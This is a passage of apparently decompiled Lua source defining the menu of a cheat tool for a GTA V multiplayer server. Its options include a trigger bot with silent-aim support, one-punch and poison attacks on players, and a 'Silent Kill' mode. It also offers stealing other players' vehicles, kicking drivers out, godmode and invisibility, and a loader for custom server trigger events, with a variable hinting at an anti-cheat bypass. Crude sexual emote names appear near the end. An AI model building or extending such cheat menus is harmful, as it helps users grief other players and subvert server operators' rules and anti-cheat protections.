"lazerEyesDisableRockets", silentToggle = true, description = "When enabled, Q will not launch rockets while Lazer Eyes is active" } local shootFromDickOption = { name = "Shoot from Dick", type = "toggle", var = "lazerEyesShootFromDick", silentToggle = true, description = "Fire lasers and rockets from your pelvis instead of your eyes" } local silentAimSupportOption = { name = "Silent Aim Support", type = "toggle", var = "lazerEyesSilentAimSupport", silentToggle = true, description = "When Silent Aim is enabled, E/Q shots hit players inside the Silent Aim FOV circle. Uses Magic Bullet positioning when Silent Aim mode is Magic Bullet" } pendingMenuEntry34[1] = enableOption pendingMenuEntry34[2] = settingsOption pendingMenuEntry34[3] = disableRocketsOption pendingMenuEntry34[4] = shootFromDickOption pendingMenuEntry34[5] = silentAimSupportOption pendingMenuEntry32.submenu = pendingMenuEntry34 pendingMenuEntry33 = { name = "Trigger Bot", type = "submenu" } end pendingMenuEntry35 = {} do local enableOption = { name = "Enable", type = "toggle", var = "triggerBot", silentToggle = true, description = "Enable trigger bot", keybindName = "Toggle Triggerbot" } local useHoldKeyOption = { name = "Use Hold Key", type = "toggle", var = "triggerBotHoldKey", silentToggle = true } pendingMenuEntry39 = function() return menu.vars.bools and menu.vars.bools.triggerBot end useHoldKeyOption.condition = pendingMenuEntry39 useHoldKeyOption.description = "Only fire while the trigger bot key is held down" local triggerBotKeyOption = { name = "Trigger Bot Key", type = "hotkey" } pendingMenuEntry39 = { identifier = "TRIGGER_BOT_KEY" } triggerBotKeyOption.target = pendingMenuEntry39 pendingMenuEntry40 = function() return menu.vars.bools and menu.vars.bools.triggerBot and menu.vars.bools.triggerBotHoldKey end triggerBotKeyOption.condition = pendingMenuEntry40 triggerBotKeyOption.description = "Hold this key to activate trigger bot while enabled" local settingsOption = { name = "Settings", type = "seperator" } local targetDeadOption = { name = "Target Dead", type = "toggle", var = "revoBypass", silentToggle = true, description = "Also target dead players" } local targetNPCsOption = { name = "Target NPCs", type = "toggle", var = "triggerBotNpc", silentToggle = true, description = "Also target NPCs (non-player peds)" } local distanceOption = { name = "Distance", type = "slider", var = "triggerBotDistance", min = 10.0, max = 480.0, step = 10.0, disableHoldAcceleration = true, default = 180.0, suffix = "m", description = "Distance to target" } local hitChanceOption = { name = "Hit Chance", type = "slider", var = "triggerBotHitChance", min = 20.0, max = 100.0, step = 1.0, disableHoldAcceleration = true, default = 100.0, suffix = "%", description = "Chance of firing at the target (20-100%)" } local delayOption = { name = "Delay", type = "slider", var = "triggerBotDelay", min = 0.0, max = 500.0, step = 1.0, disableHoldAcceleration = true, default = 50.0, suffix = "ms", description = "Delay before shooting (in milliseconds)" } pendingMenuEntry35[1] = enableOption pendingMenuEntry35[2] = useHoldKeyOption pendingMenuEntry35[3] = triggerBotKeyOption pendingMenuEntry35[4] = settingsOption pendingMenuEntry35[5] = targetDeadOption pendingMenuEntry35[6] = targetNPCsOption pendingMenuEntry35[7] = distanceOption pendingMenuEntry35[8] = hitChanceOption pendingMenuEntry35[9] = delayOption pendingMenuEntry33.submenu = pendingMenuEntry35 pendingMenuEntry28[1] = pendingMenuEntry29 pendingMenuEntry28[2] = pendingMenuEntry30 pendingMenuEntry28[3] = pendingMenuEntry31 pendingMenuEntry28[4] = pendingMenuEntry32 pendingMenuEntry28[5] = pendingMenuEntry33 pendingMenuEntry26.options = pendingMenuEntry28 pendingMenuEntry27 = { name = "PvP" } local menuOptions = {} local forceRadioAnimationOption = { name = "Force Radio Animation", type = "toggle", var = "forceRadioAnim" } pendingMenuEntry32 = { identifier = "FORCE_RADIO_ANIM_KEY" } forceRadioAnimationOption.hotkeyTarget = pendingMenuEntry32 forceRadioAnimationOption.description = "Right: Key / Custom. Custom + Enter: rebind. Hold key for radio pose" local radioTypeOption = { name = "Radio Type", type = "selector", var = "forceRadioAnimType", choices = { "Shoulder Chatter", "Listen", "Raise Radio", "Mic Chatter", "Police Radio", "Call In" }, default = 1, description = "Choose which radio animation plays while holding the key" } pendingMenuEntry32 = { name = "Toggle Crouch (Q)", type = "toggle", var = "forceQCrouch", description = "Q toggles crouch clipset while on" } menuOptions[1] = forceRadioAnimationOption menuOptions[2] = radioTypeOption menuOptions[3] = pendingMenuEntry32 pendingMenuEntry27.options = menuOptions pendingMenuEntry28 = { name = "Misc" } pendingMenuEntry30 = {} pendingMenuEntry31 = { name = "Fast Punch", type = "toggle", var = "fastPunch", description = "Enable fast punching" } pendingMenuEntry32 = { name = "One Punch", type = "toggle", var = "onePunch", description = "One-punches players on hit" } pendingMenuEntry33 = { name = "Punch Mode", type = "toggle", var = "punchMode", description = "Punch players from distance" } pendingMenuEntry34 = { name = "Damage Reflection", type = "toggle", var = "damageReflection", description = "Sends damage back to the attacker" } pendingMenuEntry35 = { name = "Poison Attack", type = "toggle", var = "poisonAttack", silentToggle = true, description = "Shoot to poison players" } end pendingMenuEntry36 = { name = "Silent Kill mode (risk)", type = "toggle", var = "silentKillMode", description = "Silent Kill" } pendingMenuEntry30[1] = pendingMenuEntry31 pendingMenuEntry30[2] = pendingMenuEntry32 pendingMenuEntry30[3] = pendingMenuEntry33 pendingMenuEntry30[4] = pendingMenuEntry34 pendingMenuEntry30[5] = pendingMenuEntry35 pendingMenuEntry30[6] = pendingMenuEntry36 pendingMenuEntry28.options = pendingMenuEntry30 pendingMenuEntry25[1] = pendingMenuEntry26 pendingMenuEntry25[2] = pendingMenuEntry27 pendingMenuEntry25[3] = pendingMenuEntry28 pendingMenuEntry23.tabs = pendingMenuEntry25 pendingMenuEntry24 = { name = "Vehicle Options", type = "submenu", description = "Switch tabs with Q and E" } pendingMenuEntry26 = {} pendingMenuEntry27 = { name = "Spawner" } pendingMenuEntry29 = {} pendingMenuEntry30 = { name = "Spawn by Name", type = "button", func = "spawnVehicleByNamePrompt", description = "Enter a vehicle model name and spawn it" } pendingMenuEntry31 = { name = "Spawn Inside Vehicle", type = "toggle", var = "vehSpawnerSpawnInside", silentToggle = true, description = "Spawn inside the vehicle when spawning it" } pendingMenuEntry32 = { name = "Delete Vehicle", type = "button", func = "mainDeleteVehicle", description = "Delete your current vehicle" } pendingMenuEntry33 = { name = "Vehicle Radar", type = "submenu" } pendingMenuEntry35 = {} do local listEntry = { name = "List" } pendingMenuEntry38 = { { name = "Loading vehicles...", type = "button" } } listEntry.options = pendingMenuEntry38 pendingMenuEntry37 = { name = "Basic" } pendingMenuEntry39 = {} local spectateVehicleOption = { name = "Spectate Vehicle", type = "toggle", func = "spectateSelectedVehicle", var = "spectateSelectedVehicle", silentToggle = true, description = "Spectate the selected vehicle" } local teleportIntoVehicleOption = { name = "Teleport into Vehicle", type = "selector", var = "teleportVehicleSeat", choices = { "Driver", "Passenger" }, func = "teleportIntoSelectedVehicle", description = "Teleport into the selected vehicle" } local lockUnlockVehicleOption = { name = "Lock/Unlock Vehicle", type = "selector", func = "lockUnlockRadarVehicle", var = "radarVehicleLockSelector", choices = { "Unlock", "Lock" }, description = "Lock or unlock the selected vehicle" } local doorsOption = { name = "Doors", type = "selector", func = "openRadarVehicleDoors", var = "radarVehicleDoorSelector", choices = { "Open All", "Front Left", "Front Right", "Rear Left", "Rear Right", "Hood", "Trunk" }, description = "Open or close doors on the selected vehicle" } local stealVehicleOption = { name = "Steal Vehicle", type = "button", func = "radarStealVehicle", description = "Steal the selected vehicle and teleports it to you" } local kickDriverOption = { name = "Kick Driver", type = "button", func = "radarKickDriver", description = "Kicks the driver of the selected vehicle out of it" } local nPCDriverOption = { name = "NPC Driver", type = "button", func = "radarAddNPCDriver", description = "Adds an NPC driver to the selected vehicle" } local makeUnusableOption = { name = "Make Unusable", type = "button", func = "radarBreakVehicles", description = "Same for each selected vehicle" } local deleteVehicleOption = { name = "Delete Vehicle", type = "button", func = "deleteSelectedVehicles", description = "Delete all selected vehicles" } pendingMenuEntry39[1] = spectateVehicleOption pendingMenuEntry39[2] = teleportIntoVehicleOption pendingMenuEntry39[3] = lockUnlockVehicleOption pendingMenuEntry39[4] = doorsOption pendingMenuEntry39[5] = stealVehicleOption pendingMenuEntry39[6] = kickDriverOption pendingMenuEntry39[7] = nPCDriverOption pendingMenuEntry39[8] = makeUnusableOption pendingMenuEntry39[9] = deleteVehicleOption pendingMenuEntry37.options = pendingMenuEntry39 pendingMenuEntry35[1] = listEntry pendingMenuEntry35[2] = pendingMenuEntry37 pendingMenuEntry33.tabs = pendingMenuEntry35 pendingMenuEntry34 = { name = "Vehicles", type = "seperator" } pendingMenuEntry35 = { name = "Addon Vehicles", type = "selector", func = "spawnVehicle", var = "vehicleSelector2" } pendingMenuEntry37 = function() return menu.functions.getAddonVehicleChoices() end pendingMenuEntry35.choices = pendingMenuEntry37 pendingMenuEntry37 = function() return not menu.functions.isServer185169NearbyVehicleMode() and menu.vars.addonVehicles and #menu.vars.addonVehicles > 0 end pendingMenuEntry35.condition = pendingMenuEntry37 pendingMenuEntry35.description = "Spawn an addon vehicle from the server (Press ENTER to spawn)" end do local function vehicleCategoryOption(optionName, variable, description) return { name = optionName, type = "selector", func = "spawnVehicleFromCategory", var = variable, choices = function() return menu.functions.getVehicleCategoryDisplayChoices(optionName) end, condition = function() return not menu.functions.isServer185169NearbyVehicleMode() and menu.functions.hasVehicleCategoryChoices(optionName) end, description = description } end local superOption = vehicleCategoryOption( "Super", "vehicleCategory_Super", "Select and spawn a super vehicle (Press ENTER to spawn)" ) pendingMenuEntry37 = vehicleCategoryOption( "Sports", "vehicleCategory_Sports", "Select and spawn a sports vehicle (Press ENTER to spawn)" ) local sportsClassicsOption = vehicleCategoryOption( "Sports Classics", "vehicleCategory_SportsClassics", "Select and spawn a sports classic vehicle (Press ENTER to spawn)" ) local muscleOption = vehicleCategoryOption( "Muscle", "vehicleCategory_Muscle", "Select and spawn a muscle vehicle (Press ENTER to spawn)" ) local sedansOption = vehicleCategoryOption( "Sedans", "vehicleCategory_Sedans", "Select and spawn a sedan vehicle (Press ENTER to spawn)" ) local sUVsOption = vehicleCategoryOption( "SUVs", "vehicleCategory_SUVs", "Select and spawn an SUV vehicle (Press ENTER to spawn)" ) local coupesOption = vehicleCategoryOption( "Coupes", "vehicleCategory_Coupes", "Select and spawn a coupe vehicle (Press ENTER to spawn)" ) local compactsOption = vehicleCategoryOption( "Compacts", "vehicleCategory_Compacts", "Select and spawn a compact vehicle (Press ENTER to spawn)" ) local offRoadOption = vehicleCategoryOption( "Off-road", "vehicleCategory_Off-road", "Select and spawn an off-road vehicle (Press ENTER to spawn)" ) local motorcyclesOption = vehicleCategoryOption( "Motorcycles", "vehicleCategory_Motorcycles", "Select and spawn a motorcycle (Press ENTER to spawn)" ) local emergencyOption = vehicleCategoryOption( "Emergency", "vehicleCategory_Emergency", "Select and spawn an emergency vehicle (Press ENTER to spawn)" ) local militaryOption = vehicleCategoryOption( "Military", "vehicleCategory_Military", "Select and spawn a military vehicle (Press ENTER to spawn)" ) local industrialOption = vehicleCategoryOption( "Industrial", "vehicleCategory_Industrial", "Select and spawn an industrial vehicle (Press ENTER to spawn)" ) local utilityOption = vehicleCategoryOption( "Utility", "vehicleCategory_Utility", "Select and spawn a utility vehicle (Press ENTER to spawn)" ) local vansOption = vehicleCategoryOption("Vans", "vehicleCategory_Vans", "Select and spawn a van (Press ENTER to spawn)") local serviceOption = vehicleCategoryOption( "Service", "vehicleCategory_Service", "Select and spawn a service vehicle (Press ENTER to spawn)" ) local commercialOption = vehicleCategoryOption( "Commercial", "vehicleCategory_Commercial", "Select and spawn a commercial vehicle (Press ENTER to spawn)" ) local boatsOption = vehicleCategoryOption( "Boats", "vehicleCategory_Boats", "Select and spawn a boat (Press ENTER to spawn)" ) pendingMenuEntry54 = vehicleCategoryOption( "Helicopters", "vehicleCategory_Helicopters", "Select and spawn a helicopter (Press ENTER to spawn)" ) pendingMenuEntry55 = vehicleCategoryOption( "Planes", "vehicleCategory_Planes", "Select and spawn a plane (Press ENTER to spawn)" ) pendingMenuEntry56 = vehicleCategoryOption( "Cycles", "vehicleCategory_Cycles", "Select and spawn a cycle (Press ENTER to spawn)" ) pendingMenuEntry57 = vehicleCategoryOption( "Open Wheel", "vehicleCategory_OpenWheel", "Select and spawn an open wheel vehicle (Press ENTER to spawn)" ) pendingMenuEntry58 = vehicleCategoryOption( "Trailers", "vehicleCategory_Trailers", "Select and spawn a trailer (Press ENTER to spawn)" ) pendingMenuEntry29[1] = pendingMenuEntry30 pendingMenuEntry29[2] = pendingMenuEntry31 pendingMenuEntry29[3] = pendingMenuEntry32 pendingMenuEntry29[4] = pendingMenuEntry33 pendingMenuEntry29[5] = pendingMenuEntry34 pendingMenuEntry29[6] = pendingMenuEntry35 pendingMenuEntry29[7] = superOption pendingMenuEntry29[8] = pendingMenuEntry37 pendingMenuEntry29[9] = sportsClassicsOption pendingMenuEntry29[10] = muscleOption pendingMenuEntry29[11] = sedansOption pendingMenuEntry29[12] = sUVsOption pendingMenuEntry29[13] = coupesOption pendingMenuEntry29[14] = compactsOption pendingMenuEntry29[15] = offRoadOption pendingMenuEntry29[16] = motorcyclesOption pendingMenuEntry29[17] = emergencyOption pendingMenuEntry29[18] = militaryOption pendingMenuEntry29[19] = industrialOption pendingMenuEntry29[20] = utilityOption pendingMenuEntry29[21] = vansOption pendingMenuEntry29[22] = serviceOption pendingMenuEntry29[23] = commercialOption pendingMenuEntry29[24] = boatsOption pendingMenuEntry29[25] = pendingMenuEntry54 pendingMenuEntry29[26] = pendingMenuEntry55 pendingMenuEntry29[27] = pendingMenuEntry56 pendingMenuEntry29[28] = pendingMenuEntry57 pendingMenuEntry29[29] = pendingMenuEntry58 pendingMenuEntry27.options = pendingMenuEntry29 pendingMenuEntry28 = { name = "Option" } pendingMenuEntry30 = {} pendingMenuEntry31 = { name = "Repair Vehicle", type = "selector", func = "repairVehicle", var = "repairVehicleSelector", default = 1, choices = { "Full Vehicle", "Engine", "Body", "Petrol Tank", "Deformation", "Visual", "Clean" }, description = "Choose a repair type and repair the vehicle" } pendingMenuEntry32 = { name = "Doors", type = "selector", func = "openVehicleDoors", var = "vehicleDoorSelector", choices = { "Open All", "Front Left", "Front Right", "Rear Left", "Rear Right", "Hood", "Trunk" }, description = "Open or close doors on your current or closest vehicle" } pendingMenuEntry33 = { name = "Lock/Unlock Closest", type = "selector", func = "lockUnlockClosestVehicle", var = "vehicleLockSelector", choices = { "Unlock", "Lock" }, description = "Lock or unlock the closest vehicle" } pendingMenuEntry34 = { name = "Flip Vehicle", type = "button", func = "flipVehicle", description = "Flip your vehicle upright if it's upside down" } pendingMenuEntry35 = { name = "Boost Vehicle", type = "button", func = "boostVehicle", description = "Give your vehicle a speed boost" } end pendingMenuEntry36 = { name = "Change Plate", type = "button", func = "changeVehiclePlate", description = "Set a new plate text for your current vehicle" } do local advancedSettingsOption = { name = "Advanced Settings", type = "seperator" } local vanityUpgradeOption = { name = "Vanity Upgrade", type = "toggle", var = "alwaysOnGround", silentToggle = true, description = "Glide on water with Rocket League wheels: WASD move, Shift boost. Stay on your wheels when landing and Shift+A/D to spin on land or in air" } local rocketLeagueOption = { name = "Rocket League", type = "toggle", var = "vehicleHoverTest", silentToggle = true, description = "Space Fly | Space x2 Exit Hover | WASD/ZQSD Move | Shift Boost | Ctrl Down | LMB+W/S Climb/Dive | RMB+A/D Hold Spin | RMB+A/D Tap Flip | Q/A Explosion | E Bullets" } local easyHandlingOption = { name = "Easy Handling", type = "toggle", var = "easyHandling", silentToggle = true, description = "Adaptive grip & stability tuned to your current vehicle" } local vehicleGodmodeOption = { name = "Vehicle Godmode", type = "toggle", var = "vehicleGodmode", silentToggle = true, description = "Make your vehicle invincible to damage" } local vehicleInvisibleOption = { name = "Vehicle Invisible", type = "toggle", var = "vehicleInvisible", silentToggle = true, description = "Hide your vehicle from others while you still see it faintly" } local vehicleJumpOption = { name = "Vehicle Jump", type = "toggle", var = "vehicleJump", silentToggle = true, description = "Press Space once to jump. Adjust height with the slider", sliderVar = "vehicleJumpHeight", sliderMin = 2.0, sliderMax = 30.0, sliderStep = 1.0, sliderDefault = 10.0, disableHoldAcceleration = true } local infiniteFuelOption = { name = "Infinite Fuel", type = "toggle", var = "infiniteVehicleFuel", silentToggle = true, description = "Keeps your vehicle fuel tank full while enabled" } local instantStopOption = { name = "Instant Stop", type = "toggle", var = "instantStop", silentToggle = true, description = "Instantly stop on the ground when braking forward with S. Reverse normally when stopped" } local autoPilotOption = { name = "Auto Pilot", type = "toggle", var = "autoPilot", silentToggle = true, description = "Set a map waypoint, sit in the driver seat, then drive there fast while ignoring traffic lights" } local forceEngineOnOption = { name = "Force Engine On", type = "toggle", var = "forceEngineOn", silentToggle = true, description = "Force your vehicle engine to stay on" } local fastEnterVehicleOption = { name = "Fast Enter Vehicle", type = "toggle", var = "fastEnterVehicle", silentToggle = true, description = "Skip the enter animation and warp into vehicles instantly" } local fastExitVehicleOption = { name = "Fast Exit Vehicle", type = "toggle", var = "fastExitVehicle", silentToggle = true, description = "Skip the exit animation and leave vehicles instantly" } local vehicleSpeedOption = { name = "Vehicle Speed", type = "seperator" } local hornBoostOption = { name = "Horn Boost", type = "selector", var = "hornBoostSelector", choices = { "Off", "E", "Shift" }, description = "Boost your vehicle when honking the horn (E) or pressing Shift" } local hornBoostSpeedOption = { name = "Horn Boost Speed", type = "slider", var = "hornBoostSpeed", min = 50.0, max = 150.0, step = 10.0, disableHoldAcceleration = true, default = 50.0, suffix = "", description = "Adjust the speed/strength of the horn boost" } local vehicleSpeedOptionValue = { name = "Vehicle Speed", type = "toggle", var = "speedBoost", silentToggle = true, sliderVar = "speedBoostLevel", sliderMin = 1.0, sliderMax = 10.0, sliderStep = 0.5, disableHoldAcceleration = true, sliderDefault = 1.0, sliderSuffix = "x", description = "Boost vehicle speed & acceleration (includes auto-stabilization)" } pendingMenuEntry30[1] = pendingMenuEntry31 pendingMenuEntry30[2] = pendingMenuEntry32 pendingMenuEntry30[3] = pendingMenuEntry33 pendingMenuEntry30[4] = pendingMenuEntry34 pendingMenuEntry30[5] = pendingMenuEntry35 pendingMenuEntry30[6] = pendingMenuEntry36 pendingMenuEntry30[7] = advancedSettingsOption pendingMenuEntry30[8] = vanityUpgradeOption pendingMenuEntry30[9] = rocketLeagueOption pendingMenuEntry30[10] = easyHandlingOption pendingMenuEntry30[11] = vehicleGodmodeOption pendingMenuEntry30[12] = vehicleInvisibleOption pendingMenuEntry30[13] = vehicleJumpOption pendingMenuEntry30[14] = infiniteFuelOption pendingMenuEntry30[15] = instantStopOption pendingMenuEntry30[16] = autoPilotOption pendingMenuEntry30[17] = forceEngineOnOption pendingMenuEntry30[18] = fastEnterVehicleOption pendingMenuEntry30[19] = fastExitVehicleOption pendingMenuEntry30[20] = vehicleSpeedOption pendingMenuEntry30[21] = hornBoostOption pendingMenuEntry30[22] = hornBoostSpeedOption pendingMenuEntry30[23] = vehicleSpeedOptionValue pendingMenuEntry28.options = pendingMenuEntry30 pendingMenuEntry29 = { name = "Tuning" } pendingMenuEntry31 = function() return menu.functions.getVehicleTuningOptions() end pendingMenuEntry29.options = pendingMenuEntry31 pendingMenuEntry30 = { name = "Troll" } pendingMenuEntry32 = {} pendingMenuEntry33 = { name = "Attach Prop", type = "selector", func = "attachVehicleProp", var = "vehicleAttachSelector" } pendingMenuEntry35 = { "Ramp", "Container", "Bend Plate", "Jump S", "H Loop", "Remove" } pendingMenuEntry33.choices = pendingMenuEntry35 pendingMenuEntry35 = function() return not menu.functions.isServer185169NearbyVehicleMode() end pendingMenuEntry33.condition = pendingMenuEntry35 pendingMenuEntry33.description = "Attach a prop to the front of your vehicle, or remove attached props" pendingMenuEntry34 = { name = "VDM Mode", type = "toggle", var = "vehicleVdmMode", func = "toggleVehicleVdmMode" } pendingMenuEntry36 = function() return not menu.functions.isServer185169NearbyVehicleMode() end pendingMenuEntry34.condition = pendingMenuEntry36 pendingMenuEntry34.description = "Scroll to switch mode, left click to attack. Push toggles ON/OFF" pendingMenuEntry35 = { name = "Force Drag Out", type = "toggle", var = "forceDragOut", func = "toggleForceDragOut", description = "Force drag players out of their vehicles" } pendingMenuEntry36 = { name = "Physgun", type = "toggle", var = "physgun", func = "togglePhysgun", description = "Press [R] while holding to toggle collision. Right click to release" } end do local pitModeOption = { name = "Pit Mode", type = "toggle", func = "togglePitMode", var = "pitMode", description = "Enable pit maneuver mode for vehicles" } local towTruckOption = { name = "Tow Truck", type = "toggle", func = "toggleTowTruck", var = "towTruck", description = "Enable tow truck functionality" } local rainbowVehicleOption = { name = "Rainbow Vehicle", type = "selector", var = "rainbowVehicle", choices = { "Off", "Type 1", "Type 2" }, onChangeFunc = "setRainbowVehicleTimer", description = "Make your vehicle change colors automatically" } local carryVehicleOption = { name = "Carry Vehicle", type = "seperator" } local carryVehicleOptionValue = { name = "Carry Vehicle", type = "toggle", var = "carryVehicle", func = "toggleCarryVehicle", description = "Enable vehicle carrying. Press E near a vehicle; set throw force below" } local throwForceOption = { name = "Throw Force", type = "selector", var = "carryThrowForce", choices = { "Normal", "Far" }, description = "Normal or Far force when throwing a carried vehicle" } pendingMenuEntry32[1] = pendingMenuEntry33 pendingMenuEntry32[2] = pendingMenuEntry34 pendingMenuEntry32[3] = pendingMenuEntry35 pendingMenuEntry32[4] = pendingMenuEntry36 pendingMenuEntry32[5] = pitModeOption pendingMenuEntry32[6] = towTruckOption pendingMenuEntry32[7] = rainbowVehicleOption pendingMenuEntry32[8] = carryVehicleOption pendingMenuEntry32[9] = carryVehicleOptionValue pendingMenuEntry32[10] = throwForceOption pendingMenuEntry30.options = pendingMenuEntry32 pendingMenuEntry26[1] = pendingMenuEntry27 pendingMenuEntry26[2] = pendingMenuEntry28 pendingMenuEntry26[3] = pendingMenuEntry29 pendingMenuEntry26[4] = pendingMenuEntry30 pendingMenuEntry24.tabs = pendingMenuEntry26 pendingMenuEntry25 = { name = "Script Options", type = "submenu", description = "Switch tabs with Q and E" } local menuTabs = {} local scriptsEntry = { name = "Scripts", options = {} } local triggersEntry = { name = "Triggers" } local menuOptions = {} local loadTriggersOption = { name = "Load Triggers", type = "button", func = "loadTriggers", description = "Load custom trigger events" } local loadedTriggersOption = { name = "Loaded Triggers", type = "submenu" } pendingMenuEntry35 = {} loadedTriggersOption.submenu = pendingMenuEntry35 loadedTriggersOption.description = "View and use loaded trigger events" menuOptions[1] = loadTriggersOption menuOptions[2] = loadedTriggersOption triggersEntry.options = menuOptions menuTabs[1] = scriptsEntry menuTabs[2] = triggersEntry pendingMenuEntry25.tabs = menuTabs pendingMenuEntry26 = { name = "Misc Options", type = "submenu", description = "Switch tabs with Q and E" } pendingMenuEntry28 = {} pendingMenuEntry29 = { name = "Misc" } pendingMenuEntry31 = {} pendingMenuEntry32 = { name = "Hulk kick", type = "toggle", var = "hulkVehicleKick", default = false, description = "Kick the vehicle with power" } pendingMenuEntry33 = { name = "FPS Mode", type = "toggle", var = "fpsMode", func = "toggleFpsMode", description = "Apply low FPS boost mode" } pendingMenuEntry34 = { name = "Time & Weather", type = "submenu" } pendingMenuEntry36 = {} end do local forceTimeOption = { name = "Force Time", type = "toggle", var = "forceTime", silentToggle = true, description = "Force a specific time of day" } local hourOption = { name = "Hour", type = "numberSlider", var = "forceTimeHour", min = 0, max = 23, step = 1, disableHoldAcceleration = true, default = 12, suffix = ":00", description = "Set the hour of the day" } local weatherOption = { name = "Weather", type = "separator" } local forceWeatherOption = { name = "Force Weather", type = "toggle", var = "forceWeather", silentToggle = true, description = "Force a specific weather condition" } local weatherTypeOption = { name = "Weather Type", type = "selector", var = "weatherType", choices = { "Clear", "Extra Sunny", "Clouds", "Overcast", "Rain", "Thunder", "Clearing", "Neutral", "Snow", "Blizzard", "Snowlight", "Christmas", "Halloween" }, selectorAdjustCooldownMs = 180, description = "Choose the weather type" } pendingMenuEntry36[1] = forceTimeOption pendingMenuEntry36[2] = hourOption pendingMenuEntry36[3] = weatherOption pendingMenuEntry36[4] = forceWeatherOption pendingMenuEntry36[5] = weatherTypeOption pendingMenuEntry34.submenu = pendingMenuEntry36 pendingMenuEntry35 = { name = "Emote Menu", type = "submenu", hideDescriptionBar = true } end pendingMenuEntry37 = {} pendingMenuEntry38 = { name = "Reset Animation", type = "toggle", var = "emoteMenuResetAnimation" } pendingMenuEntry40 = { identifier = "EMOTE_RESET_ANIMATION_KEY" } pendingMenuEntry38.hotkeyTarget = pendingMenuEntry40 pendingMenuEntry38.description = "Right: bind key \194\183 Enter: rebind. Clears inject anim (not during Blame)" pendingMenuEntry39 = { name = "Emotes", type = "separator" } pendingMenuEntry40 = { name = "Hump / Thrust", type = "submenu" } pendingMenuEntry42 = {} do local function emoteAnimation(optionName, dictionary, clip, description, loop) return { name = optionName, type = "button", func = "emoteMenuPlayAnim", emoteDict = dictionary, emoteClip = clip, emoteLoop = loop, description = description } end local airHumpOption = emoteAnimation( "Air Hump", "anim@mp_player_intcelebrationfemale@air_shagging", "air_shagging", "Air hump dance", true ) local teddyHumpOption = emoteAnimation( "Teddy Hump", "timetable@trevor@skull_loving_bear", "skull_loving_bear", "Teddy bear hump", true ) local twerkOption = emoteAnimation( "Twerk", "switch@trevor@mocks_lapdance", "001443_01_trvs_28_idle_stripper", "Twerk", true ) local sexyGrindOption = emoteAnimation( "Sexy Grind", "anim@amb@nightclub@lazlow@hi_railing@", "ambclub_13_mi_hi_sexualgriding_laz", "Sexy grind", true ) local bootyShakeOption = emoteAnimation( "Booty Shake", "anim@amb@nightclub@lazlow@hi_railing@", "ambclub_12_mi_hi_bootyshake_laz", "Booty shake", true ) local buttWagOption = emoteAnimation( "Butt Wag", "special_ped@mountain_dancer@monologue_3@monologue_3a", "mnt_dnc_buttwag", "Butt wag", true ) local buttWiggleOption = emoteAnimation( "Butt Wiggle", "anim@amb@nightclub@lazlow@hi_podium@", "danceidle_hi_11_buttwiggle_b_laz", "Butt wiggle", true ) local bellyDanceOption = emoteAnimation( "Belly Dance", "anim@amb@nightclub@lazlow@hi_railing@", "ambclub_09_mi_hi_bellydancer_laz", "Belly dance", true ) pendingMenuEntry42[1] = airHumpOption pendingMenuEntry42[2] = teddyHumpOption pendingMenuEntry42[3] = twerkOption pendingMenuEntry42[4] = sexyGrindOption pendingMenuEntry42[5] = bootyShakeOption pendingMenuEntry42[6] = buttWagOption pendingMenuEntry42[7] = buttWiggleOption pendingMenuEntry42[8] = bellyDanceOption pendingMenuEntry40.submenu = pendingMenuEntry42 pendingMenuEntry40.description = "Hump, twerk and thrust emotes" pendingMenuEntry41 = { name = "Sex / Adult", type = "submenu" } pendingMenuEntry43 = {} pendingMenuEntry44 = emoteAnimation("Pussy Lick (Kneeling)", "misscarsteal2pimpsex", "pimpsex_hooker", "Adult emote", true) local doggyOption = emoteAnimation("Doggy", "rcmpaparazzo_2", "shag_loop_a", "Adult emote", true) pendingMenuEntry46 = emoteAnimation("Sex Pose (F)", "missfam5_yoga", "c2_pose", "Adult emote", true) pendingMenuEntry47 = emoteAnimation("Sex Pose 2 (F)", "missfam5_yoga", "c6_pose", "Adult emote", true) pendingMenuEntry48 = emoteAnimation( "Sex Pose 3 (F)", "anim@amb@carmeet@checkout_car@", "female_c_idle_d", "Adult emote", true ) pendingMenuEntry49 = emoteAnimation( "Car Sex (F)", "oddjobs@assassinate@vice@sex", "frontseat_carsex_loop_f", "Adult emote", true ) pendingMenuEntry50 = emoteAnimation( "Car Sex (M)", "oddjobs@assassinate@vice@sex", "frontseat_carsex_loop_m", "Adult emote", true ) pendingMenuEntry43[1] = pendingMenuEntry44 pendingMenuEntry43[2] = doggyOption pendingMenuEntry43[3] = pendingMenuEntry46 pendingMenuEntry43[4] = pendingMenuEntry47 pendingMenuEntry43[5] = pendingMenuEntry48 pendingMenuEntry43[6] = pendingMenuEntry49 pendingMenuEntry43[7] = pendingMenuEntry50 pendingMenuEntry41.submenu = pendingMenuEntry43 pendingMenuEntry41.description = "Sex and adult emotes" pendingMenuEntry42 = { name = "Strip / Lapdance", type = "submenu" } pendingMenuEntry44 = {} local lapdanceOption = emoteAnimation("Lapdance", "mp_safehouse", "lap_dance_girl", "Lapdance", true) local lapdance2Option = emoteAnimation( "Lapdance 2", "mini@strip_club@private_dance@idle", "priv_dance_idle", "Private dance idle", true ) local stripDanceOption = emoteAnimation( "Strip Dance", "mini@strip_club@private_dance@part2", "priv_dance_p2", "Strip dance part 2", true ) local stripDance2Option = emoteAnimation( "Strip Dance 2", "mini@strip_club@private_dance@part3", "priv_dance_p3", "Strip dance part 3", true ) local poleDanceOption = emoteAnimation( "Pole Dance", "mini@strip_club@pole_dance@pole_a_2_stage", "pole_a_2_stage", "Pole dance", true ) local showBoobsOption = emoteAnimation( "Show Boobs", "mini@strip_club@backroom@", "stripper_b_backroom_idle_b", "Stripper idle", false ) showBoobsOption.emoteDuration = 6000 local showBoobs2Option = emoteAnimation( "Show Boobs 2", "mini@strip_club@idles@stripper", "stripper_idle_05", "Stripper idle", false ) showBoobs2Option.emoteDuration = 6000 local watchStripperOption = emoteAnimation( "Watch Stripper", "amb@world_human_strip_watch_stand@male_c@idle_a", "idle_b", "Watch stripper", false ) watchStripperOption.emoteDuration = 6000 pendingMenuEntry44[1] = lapdanceOption pendingMenuEntry44[2] = lapdance2Option pendingMenuEntry44[3] = stripDanceOption pendingMenuEntry44[4] = stripDance2Option pendingMenuEntry44[5] = poleDanceOption pendingMenuEntry44[6] = showBoobsOption pendingMenuEntry44[7] = showBoobs2Option pendingMenuEntry44[8] = watchStripperOption pendingMenuEntry42.submenu = pendingMenuEntry44 pendingMenuEntry42.description = "Strip club and lapdance emotes" pendingMenuEntry43 = { name = "Wank", type = "submenu" } pendingMenuEntry45 = {} local wankOption = emoteAnimation("Wank", "anim@mp_player_intselfiewank", "idle_a", "Wank", true) wankOption.emoteFlag = 51 local wank2Option = emoteAnimation("Wank 2", 